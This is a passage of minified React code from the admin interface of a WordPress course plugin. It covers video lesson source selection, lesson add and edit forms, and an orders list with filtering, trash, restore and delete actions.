0===t?void 0:t.map((e=>Vy(Vy({},e),{},{startTime:null==e?void 0:e.start_time,endTime:null==e?void 0:e.end_time}))))||[]]),[d,g]=(0,a.useState)(0),A=(0,a.useCallback)((e=>g(parseInt(e))),[]),p=(0,a.useCallback)((e=>{u(e),i({video_meta:{time_stamps:e.map((e=>({start_time:null==e?void 0:e.startTime,end_time:null==e?void 0:e.endTime,label:null==e?void 0:e.label,id:null==e?void 0:e.id})))}})}),[i]);return(0,a.useEffect)((()=>{o!==n&&u([])}),[o,n]),(0,a.useEffect)((()=>{null!=s&&s.time_stamps&&i({video_meta:{time_stamps:s.time_stamps.map((e=>({start_time:null==e?void 0:e.start_time,end_time:null==e?void 0:e.end_time,label:null==e?void 0:e.label,id:null==e?void 0:e.id})))}})}),[s,i]),l().createElement(l().Fragment,null,l().createElement(Ey,{enableSeeking:!1,sourceUrl:n||"",videoTimeStamps:c,setVideoDuration:A}),"live-stream"!==r&&"embed-video"!==r&&m&&l().createElement(Fy,{min:0,max:d,timeStamps:c,setTimeStamps:p}))};const My=l().memo(Ly);function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const Ty=e=>{var t,n,{defaultSource:r,defaultSourceUrl:i,defaultSourceID:o,defaultStartsAt:s,defaultEndsAt:m,setVideoMetaData:c,timeStampsData:u,showTimeStamps:A}=e,[y,v]=(0,a.useState)(null),{register:f,control:h,formState:{errors:b},setValue:w}=(0,Je.xW)(),C=new Dc;(0,a.useEffect)((()=>{v(o||null)}),[o]);var x=(0,Je.FH)({name:"video_source",defaultValue:r||"self-hosted",control:h}),S=(0,Je.FH)({name:"video_source_url",defaultValue:i,control:h});S=null!==(t=S)&&void 0!==t&&t.trim?S.trim():S;var B=(0,Pn.I)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ry(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ry(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["selfHostedVideo".concat(y),y],queryFn:()=>C.get(y)},{enabled:!!y,useErrorBoundary:!1}));return(0,a.useEffect)((()=>{var e;"self-hosted"===x&&(y||i)&&w("video_source_url",(null==B||null===(e=B.data)||void 0===e?void 0:e.source_url)||S||"")}),[B,w,y,x,i,S]),l().createElement(d.B,{spacing:"6"},l().createElement(d.B,{direction:"row",spacing:"4"},"live-stream"!==x&&l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Video Source","learning-management-system")),l().createElement(aa.l,(0,Re.A)({},f("video_source"),{onChange:e=>{var t;v(null),w("video_source_url"," "),w("video_source",null==e||null===(t=e.target)||void 0===t?void 0:t.value)},defaultValue:"bunny-net"===r?"bunny-net":"bunny-net"!==r?r:"self-hosted"}),l().createElement("option",{value:"self-hosted"},(0,E.__)("Self Hosted","learning-management-system")),l().createElement("option",{value:"youtube"},(0,E.__)("YouTube","learning-management-system")),l().createElement("option",{value:"vimeo"},(0,E.__)("Vimeo","learning-management-system")),l().createElement("option",{value:"external"},(0,E.__)("External URL","learning-management-system")),l().createElement("option",{value:"embed-video"},(0,E.__)("Embed Video","learning-management-system")),l().createElement("option",{value:"bunny-net"},(0,E.__)("BunnyNet","learning-management-system")))),"self-hosted"!==x&&l().createElement(Ne.MJ,{isInvalid:!!b.video_source_url},"embed-video"===x?l().createElement(Ge.l,null,(0,E.__)("Video iframe","learning-management-system")):l().createElement(Ge.l,null,(0,E.__)("Video URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"text",defaultValue:i},f("video_source_url"))),(S&&!pe(x,S)||(null==b||null===(n=b.video_source_url)||void 0===n?void 0:n.message))&&l().createElement(g.E,{color:"red.500",fontSize:14,mt:1},(0,E.__)("Please Provide Valid URL.","learning-management-system")))),l().createElement(d.B,null,(null==B?void 0:B.isLoading)&&l().createElement(_e.o,{mb:"4",mt:"4"},l().createElement(bt.y,null)),pe(x,S)?l().createElement(p.$,{variant:"outline",onClick:()=>{v(null),w("video_source_url"," ")},colorScheme:"red",w:"fit-content",size:"sm"},(0,E.__)("Remove","learning-management-system")):null,"self-hosted"===x?l().createElement(Pc,{buttonLabel:pe(x,S)?(0,E.__)("Change","learning-management-system"):(0,E.__)("Add Video","learning-management-system"),modalTitle:(0,E.__)("Self Hosted Video","learning-management-system"),onSelect:e=>{var t;(e=>{v(e),w("video_source_url",null==e?void 0:e.toString())})(null===(t=e[0])||void 0===t?void 0:t.id)},w:"fit-content",size:"sm",mediaType:"video"}):null,pe(x,S)&&l().createElement(My,{videoURL:S,videoSource:x,setVideoMetaData:c,timeStampsData:u,existingVideoUrl:i,showTimeStamps:A}),"live-stream"===x?l().createElement(d.B,{direction:"row",spacing:"6"},l().createElement(_y,{label:"Start Time",register_key:"starts_at",defaultValue:s}),l().createElement(_y,{label:"End Time",register_key:"ends_at",defaultValue:m})):null))};function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Wy(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Uy(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Uy(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Ky=()=>{var e,{sectionId:t,courseId:n,"type-lesson":r}=(0,vt.g)(),i=(0,We.d)(),o=(0,s.jE)(),m=(0,Je.mN)(),{draftCourse:c,publishCourse:u}=Cy(),g=(0,vt.Zp)(),A=new mt(rt.lessons),y=new mt(rt.sections),v=new mt(rt.courses),[f]=(0,xt.U)("(min-width: 992px)"),[h]=(0,xt.U)("(min-width: 360px)"),[b,w]=(0,a.useState)(null),C=(0,a.useCallback)((e=>{w(e)}),[]),[x,S]=(0,a.useState)(null),B=(0,Pn.I)({queryKey:["course".concat(n),n],queryFn:()=>v.get(n)}),I=(0,Pn.I)({queryKey:["section".concat(t),t],queryFn:()=>y.get(t)}),O=(0,wt.n)({mutationKey:["addLesson"],mutationFn:e=>A.store(ee(e,b))}),P=(0,wt.n)(Wy({mutationFn:e=>A.update(x||0,e)},{onSuccess:()=>{o.invalidateQueries({queryKey:["section".concat(x)]}),i({title:(0,E.__)("Lesson Updated","learning-management-system"),isClosable:!0,status:"success"}),g({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder"})}})),D=(e,a)=>{var l={course_id:n,parent_id:t,featured_image:e.featuredImage,lesson_type:r};"draft"===a&&c.mutate(n),"publish"===a&&u.mutate(n),x?P.mutate(ee(ne(e),l),{onSuccess:e=>{ye(o,["builder".concat(n),n],e),i({title:e.name+(0,E.__)(" has been updated.","learning-management-system"),status:"success",isClosable:!0}),o.invalidateQueries({queryKey:["course".concat(e.id)]}),g({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder&view="+t})}}):O.mutate(ee(ne(e),l),{onSuccess:e=>{Ee(o,["builder".concat(n),n],e,"lesson"),i({title:e.name+(0,E.__)(" has been added.","learning-management-system"),status:"success",isClosable:!0}),o.invalidateQueries({queryKey:["course".concat(e.id)]}),g({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder&view="+t})}})},_=()=>l().createElement(Bt.e,null,l().createElement(By,{methods:m,isLoading:O.isPending,onSubmit:D}),l().createElement(p.$,{variant:"outline",onClick:()=>g({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder&view="+t})},(0,E.__)("Cancel","learning-management-system")));if((0,a.useEffect)((()=>{"live-stream-lesson"===r&&m.setValue("video_source","live-stream")}),[r,m]),I.isSuccess&&B.isSuccess&&(null==I||null===(e=I.data)||void 0===e?void 0:e.course_id)==n){var k,Q="video-lesson"===r||"live-stream-lesson"===r;return l().createElement(Je.Op,m,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{onSaveAction:e=>m.handleSubmit((t=>D(Wy(Wy({},t),{},{status:e})))),isLoading:(null==O?void 0:O.isPending)||(null==P?void 0:P.isPending)}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(wy,{courseName:null==B||null===(k=B.data)||void 0===k?void 0:k.name,courseLink:Pt.courses.edit.replace(":courseId",n)}),l().createElement("form",{onSubmit:m.handleSubmit((e=>D(e)))},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Iy,null),Q&&l().createElement(Ty,{defaultSource:"live-stream-lesson"===r?"live-stream":"self-hosted",setVideoMetaData:C}),l().createElement(Sy,{isDrafted:()=>{var e;return"draft"===(null==B||null===(e=B.data)||void 0===e?void 0:e.status)},isPublished:()=>{var e;return"publish"===(null==B||null===(e=B.data)||void 0===e?void 0:e.status)},methods:m,onSubmit:D}),l().createElement(vc,{placement:"after_description",slot:"Curriculum.Lesson"}),f?l().createElement(_,null):null))),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},Q&&l().createElement(Oy,null),l().createElement(kc,{size:"masteriyo_single"}),l().createElement(by,null),l().createElement(vc,{placement:"after_settings",slot:"Curriculum.Lesson"}),f?null:l().createElement(_,null)))))))))}return l().createElement(xy,null)};function Ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Gy(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ny(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ny(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Hy=()=>{var e,{lessonId:t,courseId:n}=(0,vt.g)(),{draftCourse:r,publishCourse:i}=Cy(),o=(0,vt.Zp)(),m=(0,Je.mN)(),c=(0,We.d)(),u=(0,a.useRef)(),g=new mt(rt.lessons),y=new mt(rt.courses),[v,h]=(0,a.useState)(!1),b=(0,s.jE)(),[C]=(0,xt.U)("(min-width: 992px)"),[S]=(0,xt.U)("(min-width: 360px)"),[B,I]=(0,a.useState)(null),O=(0,a.useCallback)((e=>{I(e)}),[]),P=(0,Pn.I)({queryKey:["course".concat(n),n],queryFn:()=>y.get(n,"edit")}),D=(0,Pn.I)({queryKey:["section".concat(t),t],queryFn:()=>g.get(t,"edit")}),_=(0,wt.n)(Gy({mutationFn:e=>g.update(t,ee(e,B))},{onSuccess:e=>{ye(b,["builder".concat(n),n],e),b.invalidateQueries({queryKey:["section".concat(t)]}),c({title:(0,E.__)("Lesson Updated","learning-management-system"),isClosable:!0,status:"success"}),o({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder"})}})),k=(0,wt.n)(Gy({mutationFn:e=>g.delete(e)},{onSuccess:e=>{c({title:(0,E.__)("Lesson Deleted.","learning-management-system"),isClosable:!0,status:"error"}),o({pathname:Pt.courses.edit.replace(":courseId",e.course_id),search:"?page=builder"})}})),Q=(e,t)=>{"draft"===t&&r.mutate(n),"publish"===t&&i.mutate(n),void 0!==e.featuredImage&&(e.featured_image=e.featuredImage,delete e.featuredImage),_.mutate(e)},z=()=>{h(!1)};(0,a.useEffect)((()=>{null!=D&&D.isSuccess&&m.reset(m.getValues())}),[null==D?void 0:D.data]);var q=()=>{var e;return l().createElement(Bt.e,null,l().createElement(By,{methods:m,isLoading:_.isPending,onSubmit:Q,lessonStatus:null==D||null===(e=D.data)||void 0===e?void 0:e.status}),l().createElement(p.$,{variant:"outline",onClick:()=>o({pathname:Pt.courses.edit.replace(":courseId",n),search:"?page=builder"})},(0,E.__)("Cancel","learning-management-system")))};if(D.isSuccess&&P.isSuccess&&(null==D||null===(e=D.data)||void 0===e?void 0:e.course_id)==n){var F,j,V,L,M,R,T,U,W,K,N,G,H,J,X,Y,Z,$,te,ne,ae="video-lesson"===(null==D||null===(F=D.data)||void 0===F?void 0:F.lesson_type)||"video"===he(null==D?void 0:D.data)||"live-stream"===he(null==D?void 0:D.data);return l().createElement(Je.Op,m,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{previewLink:null==D||null===(j=D.data)||void 0===j?void 0:j.preview_link,onSaveAction:e=>m.handleSubmit((t=>Q(Gy(Gy({},t),{},{status:e})))),isLoading:null==_?void 0:_.isPending,status:null==D||null===(V=D.data)||void 0===V?void 0:V.status}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(wy,{courseName:null==P||null===(L=P.data)||void 0===L?void 0:L.name,courseLink:Pt.courses.edit.replace(":courseId",n)}),l().createElement("form",{onSubmit:m.handleSubmit((e=>Q(e)))},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Iy,{defaultValue:null==D||null===(M=D.data)||void 0===M?void 0:M.name}),ae&&l().createElement(Ty,{defaultSource:null==D||null===(R=D.data)||void 0===R?void 0:R.video_source,defaultSourceUrl:null==D||null===(T=D.data)||void 0===T?void 0:T.video_source_url,defaultSourceID:null==D||null===(U=D.data)||void 0===U?void 0:U.video_source_id,defaultEndsAt:null==D||null===(W=D.data)||void 0===W?void 0:W.ends_at,defaultStartsAt:null==D||null===(K=D.data)||void 0===K?void 0:K.starts_at,setVideoMetaData:O,timeStampsData:null==D||null===(N=D.data)||void 0===N?void 0:N.video_meta}),l().createElement(Sy,{isPublished:()=>{var e;return"publish"===(null==P||null===(e=P.data)||void 0===e?void 0:e.status)},isDrafted:()=>{var e;return"draft"===(null==P||null===(e=P.data)||void 0===e?void 0:e.status)},defaultValue:null==D||null===(G=D.data)||void 0===G?void 0:G.description,data:D,methods:m,onSubmit:Q,lessonName:null==D||null===(H=D.data)||void 0===H?void 0:H.name}),l().createElement(vc,{placement:"after_description",slot:"Curriculum.Lesson",defaultValues:null==D||null===(J=D.data)||void 0===J?void 0:J.custom_fields}),C?l().createElement(q,null):null)),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},ae&&l().createElement(Oy,{videoSource:null==D||null===(X=D.data)||void 0===X?void 0:X.video_source,videoMeta:null==D||null===(Y=D.data)||void 0===Y?void 0:Y.video_meta,live_chat_enabled:null==D||null===(Z=D.data)||void 0===Z?void 0:Z.live_chat_enabled}),l().createElement(kc,{defaultValue:null==D||null===($=D.data)||void 0===$?void 0:$.featured_image,size:"masteriyo_single"}),l().createElement(by,{defaultValue:null==D||null===(te=D.data)||void 0===te?void 0:te.download_materials}),l().createElement(vc,{placement:"after_settings",slot:"Curriculum.Lesson",defaultValues:null==D||null===(ne=D.data)||void 0===ne?void 0:ne.custom_fields}),C?null:l().createElement(q,null))))),")",l().createElement(Ke.Lt,{isOpen:v,onClose:z,isCentered:!0,leastDestructiveRef:u},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Delete Lesson","learning-management-system")),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:u,onClick:z,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:()=>{k.mutate(t)},isLoading:k.isPending},(0,E.__)("Delete","learning-management-system")))))))))))}return l().createElement(xy,null)};const Jy=e=>{var t,n,r,i,o,s,m,{data:c,onDeletePress:u,onTrashPress:y,onRestorePress:h,setBulkIds:b,bulkIds:C,isLoading:S}=e,{id:B,status:I,total:O,currency_symbol:P,billing:D}=c,_=(m=c).billing.first_name||m.billing.last_name?"#".concat(m.id," ").concat(m.billing.first_name," ").concat(m.billing.last_name).trim():m.billing.company?"#".concat(m.id," ").concat(m.billing.company).trim():"#".concat(m.id),k=(0,a.useRef)(),{onClose:Q,onOpen:z,isOpen:q}=(0,Ue.j)(),F=I==nA.Completed?"green":I==nA.OnHold?"orange":I==nA.Pending?"yellow":I==nA.Cancelled?"pink":I==nA.Refunded?"blue":I==nA.Failed?"red":"gray";return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:S,isChecked:C.includes(B.toString()),onChange:e=>b(e.target.checked?[...C,B.toString()]:C.filter((e=>e!==B.toString())))})),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column"},"trash"===I?l().createElement(g.E,{fontWeight:"semibold"},"#".concat(B," ").concat(null==c||null===(t=c.billing)||void 0===t?void 0:t.first_name," ").concat(null==c||null===(n=c.billing)||void 0===n?void 0:n.last_name)):l().createElement(je.N,{as:v.N_,to:Pt.orders.edit.replace(":orderId",B.toString()),fontWeight:"semibold",fontSize:"sm",_hover:{color:"primary.500"}},"#".concat(B," ").concat(null==c||null===(r=c.billing)||void 0===r?void 0:r.first_name," ").concat(null==c||null===(i=c.billing)||void 0===i?void 0:i.last_name)),l().createElement(g.E,{fontSize:"xs",color:"gray.600"},null==c||null===(o=c.billing)||void 0===o?void 0:o.email))),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"sm",color:"gray.600"},null==c||null===(s=c.course_lines[0])||void 0===s?void 0:s.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"sm",fontWeight:"medium"},ie(null==c?void 0:c.date_created,"m/d/Y, h:i A")))),l().createElement(_n.Td,null,l().createElement(Jt.E,{colorScheme:F},(e=>{switch(e){case nA.Completed:return(0,E.__)("Completed","learning-management-system");case nA.OnHold:return(0,E.__)("On Hold","learning-management-system");case nA.Pending:return(0,E.__)("Pending","learning-management-system");case nA.Cancelled:return(0,E.__)("Cancelled","learning-management-system");case nA.Refunded:return(0,E.__)("Refunded","learning-management-system");case nA.Failed:return(0,E.__)("Failed","learning-management-system");default:return""}})(I))),l().createElement(_n.Td,null,null==c?void 0:c.formatted_total),l().createElement(_n.Td,null,"trash"===I?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>h(c.id),icon:l().createElement(kt.Nyy,null),_hover:{color:"primary.500"}},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:()=>u(c.id),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.orders.edit.replace(":orderId",B.toString())},l().createElement(p.$,{variant:"outline",leftIcon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:z,icon:l().createElement(kt.Nyy,null)},(0,E.__)("Preview","learning-management-system")),l().createElement(Kn.D,{onClick:()=>y(c.id),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system"))))),l().createElement(Ke.Lt,{isOpen:q,onClose:Q,isCentered:!0,leastDestructiveRef:k},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Order","learning-management-system")," ",_),l().createElement(x.c,null,l().createElement("div",null,l().createElement("strong",null,(0,E.__)("Billing details","learning-management-system"))),l().createElement("div",null,D.first_name," ",D.last_name),l().createElement("div",null,D.company),l().createElement("div",null,D.address_1),l().createElement("div",null,D.address_2),l().createElement("div",null,D.city),l().createElement("div",null,D.state),l().createElement("div",null,D.postcode),l().createElement("div",null,D.country)),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:k,onClick:Q,variant:"outline"},(0,E.__)("OK","learning-management-system")),l().createElement(je.N,{as:v.N_,to:Pt.orders.edit.replace(":orderId",B.toString())},l().createElement(p.$,{colorScheme:"primary"},(0,E.__)("Edit","learning-management-system"))))))))))};n(93755);function Xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const Yy=e=>{var t,{setFilterParams:n,isCurrentUserAdmin:a,showUserFilter:r=!1,padFilters:i=!0}=e,{handleSubmit:o,setValue:s,control:m}=(0,Je.mN)(),c=(0,Pn.I)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Xy(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Xy(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["users"],queryFn:()=>d.list({orderby:"display_name",order:"asc",per_page:10})},{enabled:!("yes"!==a||!r)})),u=e=>{var t,a={before:null!=e&&e.before?(0,j.format)("Y-m-d\\TH:i:s\\Z",null==e?void 0:e.before):void 0,after:null!=e&&e.after?(0,j.format)("Y-m-d\\TH:i:s\\Z",null==e?void 0:e.after):void 0,status:null==e||null===(t=e.status)||void 0===t?void 0:t.value};if(null!=e&&e.before){var l=new Date(e.before);l.setDate(l.getDate()+1),a.before=(0,j.format)("Y-m-d\\TH:i:s\\Z",l)}n(ne(ee(e,a)))},d=new mt(rt.users);return l().createElement(Qe.a,{px:i?{base:6,md:12}:0},l().createElement("form",{onChange:o(u)},l().createElement(br.x,{gridTemplateColumns:{md:"yes"===a&&r?"repeat(3, 1fr)":"repeat(2, 1fr)"},gap:"4"},l().createElement(Js.E,{width:{base:"85%",sm:"100%"}},l().createElement(Je.xI,{control:m,name:"after",render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Hi(),{dateFormat:"yyyy-MM-dd",onChange:e=>{t(e),o(u)()},selected:n,customInput:l().createElement(Ma.p,null),placeholderText:(0,E.__)("From","learning-management-system"),autoComplete:"off"})}})),l().createElement(Js.E,{width:{base:"85%",sm:"100%"}},l().createElement(Je.xI,{control:m,name:"before",render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Hi(),{dateFormat:"yyyy-MM-dd",onChange:e=>{t(e),o(u)()},selected:n,customInput:l().createElement(Ma.p,null),placeholderText:(0,E.__)("To","learning-management-system"),autoComplete:"off"})}})),"yes"===a&&r&&l().createElement(Js.E,{width:{base:"85%",sm:"100%"}},l().createElement(Co,{cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?c.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Users not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search by customer","learning-management-system"),onChange:e=>{s("customer",null==e?void 0:e.value),o(u)()},defaultOptions:c.isSuccess?null==c||null===(t=c.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.display_name," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.email,")"),avatar_url:null==e?void 0:e.avatar_url}))):[],loadOptions:(e,t)=>{if($(e))return t([]);d.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:"".concat(e.display_name," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};function Zy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function $y(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Zy(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Zy(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var ev=[{status:"any",name:(0,E.__)("All Orders","learning-management-system")},{status:"completed",name:(0,E.__)("Completed","learning-management-system")},{status:"pending",name:(0,E.__)("Pending","learning-management-system")},{status:"on-hold",name:(0,E.__)("On Hold","learning-management-system")},{status:"cancelled",name:(0,E.__)("Cancelled","learning-management-system")},{status:"refunded",name:(0,E.__)("Refunded","learning-management-system")},{status:"failed",name:(0,E.__)("Failed","learning-management-system")},{status:"trash",name:(0,E.__)("Trash","learning-management-system")}];const tv=()=>{var e,t,n,r,i,o,m,c,u,A,[y,v]=(0,a.useState)({status:"any",order:"desc",orderby:"date"}),[f,h]=(0,a.useState)("any"),b=R.isCurrentUserAdmin,[w,C]=(0,a.useState)({any:void 0,pending:void 0,hold:void 0,completed:void 0,cancelled:void 0,refunded:void 0,failed:void 0,trash:void 0}),{onClose:x,onOpen:S,isOpen:B}=(0,Ue.j)(),[I,O]=(0,a.useState)(""),[P,D]=(0,a.useState)([]),_=(0,We.d)(),k=(0,s.jE)(),[Q,z]=(0,a.useState)(),q=new mt(rt.orders),F=(0,Pn.I)($y({queryKey:["ordersList",y],queryFn:()=>q.list(y)},{keepPreviousData:!0}));(0,a.useEffect)((()=>{if(null!=F&&F.isSuccess){var e,t=null==F||null===(e=F.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.orders_count;C({any:null==t?void 0:t.any,pending:null==t?void 0:t[nA.Pending],hold:null==t?void 0:t[nA.OnHold],completed:null==t?void 0:t[nA.Completed],cancelled:null==t?void 0:t[nA.Cancelled],refunded:null==t?void 0:t[nA.Refunded],failed:null==t?void 0:t[nA.Failed],trash:null==t?void 0:t[nA.Trash]}),be("masteriyo-orders-moderation-count",(null==t?void 0:t[nA.Pending])+(null==t?void 0:t[nA.OnHold])||0)}}),[null==F?void 0:F.isSuccess,null==F?void 0:F.data]);var j=(0,vt.Zp)(),V=(e,t)=>v(ee($y($y({},y),{},{order:e,orderby:t}))),L=(0,wt.n)($y({mutationFn:e=>q.delete(e,{force:!0})},{onSuccess:e=>{Ce(k,["ordersList",y],null==e?void 0:e.id),x(),k.invalidateQueries({queryKey:["ordersList"]}),_({title:(0,E.__)("Orders deleted successfully!","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),M=(0,wt.n)($y({mutationFn:e=>q.restore(e)},{onSuccess:e=>{Ce(k,["ordersList",y],null==e?void 0:e.id),_({title:(0,E.__)("Order Restored","learning-management-system"),isClosable:!0,status:"success"}),k.invalidateQueries({queryKey:["ordersList"]})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),T=(0,wt.n)($y({mutationFn:e=>q.delete(e)},{onSuccess:e=>{Ce(k,["ordersList",y],null==e?void 0:e.id),k.invalidateQueries({queryKey:["ordersList"]}),_({title:(0,E.__)("Order Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),U={delete:(0,wt.n)($y({mutationFn:e=>q.bulkDelete("delete",{ids:e,force:!0})},{onSuccess(){k.invalidateQueries({queryKey:["ordersList"]}),x(),D([]),_({title:(0,E.__)("Orders Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)($y({mutationFn:e=>q.bulkDelete("delete",{ids:e})},{onSuccess(){k.invalidateQueries({queryKey:["ordersList"]}),x(),D([]),_({title:(0,E.__)("Orders Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)($y({mutationFn:e=>q.bulkRestore("restore",{ids:e})},{onSuccess(){k.invalidateQueries({queryKey:["ordersList"]}),x(),D([]),_({title:(0,E.__)("Orders Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{_({title:(null==e?void 0:e.message)||(0,E.__)("Something went 